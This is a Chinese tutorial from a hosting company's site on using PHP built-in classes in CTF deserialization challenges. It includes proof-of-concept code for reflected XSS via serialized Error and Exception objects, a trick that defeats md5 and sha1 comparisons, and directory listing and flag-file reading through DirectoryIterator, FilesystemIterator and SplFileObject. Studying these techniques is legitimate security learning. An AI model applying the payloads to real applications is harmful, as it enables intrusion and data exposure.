PHP原生类怎么遍历

发布时间:2023-01-31 17:46:13 作者:iii
来源:亿速云 阅读:138

本篇内容主要讲解“PHP原生类怎么遍历”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“PHP原生类怎么遍历”吧!

首先贴一个遍历php内置类的脚本

 <?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'    // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
    
}

结果:

PHP原生类怎么遍历

整理一下:

Exception
ErrorException
Error
ParseError
TypeError
ArgumentCountError
 ArithmeticError
DivisionByZeroError
ClosedGeneratorException
DateTime
DateTimeZone
DatePeriod
DirectoryIterator
wakeup JsonException
wakeup LogicException
BadFunctionCallException
InvalidArgumentException
 OutOfRangeException
RuntimeException
OverflowException
RangeException
UnderflowException
GlobIterator
SplFixedArray
ReflectionException
ReflectionFunctionAbstract
ReflectionParameter
ReflectionMethod
ReflectionClass
ReflectionClassConstant
ReflectionZendExtension
AssertionError
DOMException
PDOException
SimpleXMLElement
mysqli_sql_exception
PharException
PharData
PharFileInfo

大概就是这些类了,但是在ctf比赛中经常会用到的就是以下几类

Error/Exception 内置类进行 XSS

error xss

__toString方法会返回错误或异常的字符串形式,其中包含我们输入的参数,如果我们构造一串xss代码,结合echo渲染,将触发反射形xss漏洞

demo:

<?php
$a = unserialize($_GET['a']);echo $a;

poc

<?php
$a = new Error("<script>alert('hacker')</script>");
$b = serialize($a);
echo urlencode($b);

输出了一串字符串

O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3
Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D复制代码

成功弹窗

PHP原生类怎么遍历

exception xss

Exception是所有用户级异常的基类。 (PHP 5, 7, 8)

<?php
$a = new Exception("<script>alert('hacker')</script>");
$b = serialize($a);
echo urlencode($b);
?>

和error的pop的构造好像是一样的(exception适用于php5和7,error只适用于php7),把error换成exception就行了。依然成功弹窗

PHP原生类怎么遍历

Error/Exception 内置类绕过哈希比较

通过构造这两个类可以啊绕过md5()和sha1()函数。error和exception都有一个重要方法:_tostring,用于将异常对象转换为字符串。

同样,当md5()和sha1()函数处理对象时,会自动调用__tostring方法

<?php
$a = new Error("payload",1);$b=new Error("payload",2);
echo $a."<br>";
echo $b."<br>";

输出结果

PHP原生类怎么遍历

可以看出,payload后面的参数并不影响输出的结果。正是通过这个可以绕过哈希函数。

<?php
$a=new Error("payload",1);$b=new Error("payload",2);
if ($a!=$b){
    echo '$a不等于$b'."\n
";}
if (md5($a)===md5($b)) {
    echo "md5值相等\n";
}
if (sha1($a)===sha1($b)){
    echo "sha1值相等\n";
}

PHP原生类怎么遍历

soapclient

soap的定义

简单对象访问协议含义

这里之所以说是简单,是因为它是基于已经广泛使用的两个协议:HTTP和XML,所以业界把这种技术称为“它是第一个没有发明任何新技术的技术",之所以说是对象,是因为把访问的Web服务称为对象,既然服务是对象,那么服务肯定有相关的属性和调用行为,这些属性和行为是通过WSDL来描述的。如果按“简单的对象访问协议”来理解,相比“简单对象访问协议”要容易些

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

该类的构造函数如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])

php原生文件操作类

目录遍历

DirectoryIterator

__toString 获取字符串形式的文件名 (PHP 5,7,8)

例如:

<?php
$a = new DirectoryIterator("/");
foreach($a as $b){
    echo($b.'</br>');
}
echo $a;

PHP原生类怎么遍历

输出指定目录里面经过排序之后的第一个文件名

使用此内置类的__toString方法结合glob或file协议,即可实现目录遍历

<?php
$a = new DirectoryIterator("glob://*");
foreach ($a as $b){
    echo $b.'<br>';
}

PHP原生类怎么遍历

利用foreach能遍历所有的文件

<?php
$a = new DirectoryIterator("glob:///*");
foreach ($a as $b){
    echo $b.'<br>';
}

PHP原生类怎么遍历

多一个斜杠,目录往前一个。

FilesystemIterator 类

FilesystemIterator 类与 DirectoryIterator 类相同,提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。

该类的使用方法与DirectoryIterator 类也是基本相同的:

<?php
$a = new FilesystemIterator("glob:///*");
foreach ($a as $b){
    echo $b.'<br>';
}

PHP原生类怎么遍历

文件读取

SplFileObject::__toString — 以字符串形式返回文件的路径

<?php
$a = new SplFileObject('flag.txt');
echo $a;

PHP原生类怎么遍历

输出多行

<?php
$a = new SplFileObject('flag.txt');
foreach($a as $f){
    echo($f);
}

PHP原生类怎么遍历

到此,相信大家对“PHP原生类怎么遍历”有了更深的了解,不妨来实际操作一番吧!这里是亿速云网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!

推荐阅读:
  1. PHP日期函数常用日期获取方法有哪些
  2. 搭建centos7+apache+mongodb+php环境

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

php

上一篇:js中怎么用文件流下载csv文件

下一篇:JavaScript闭包实例代码分析

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》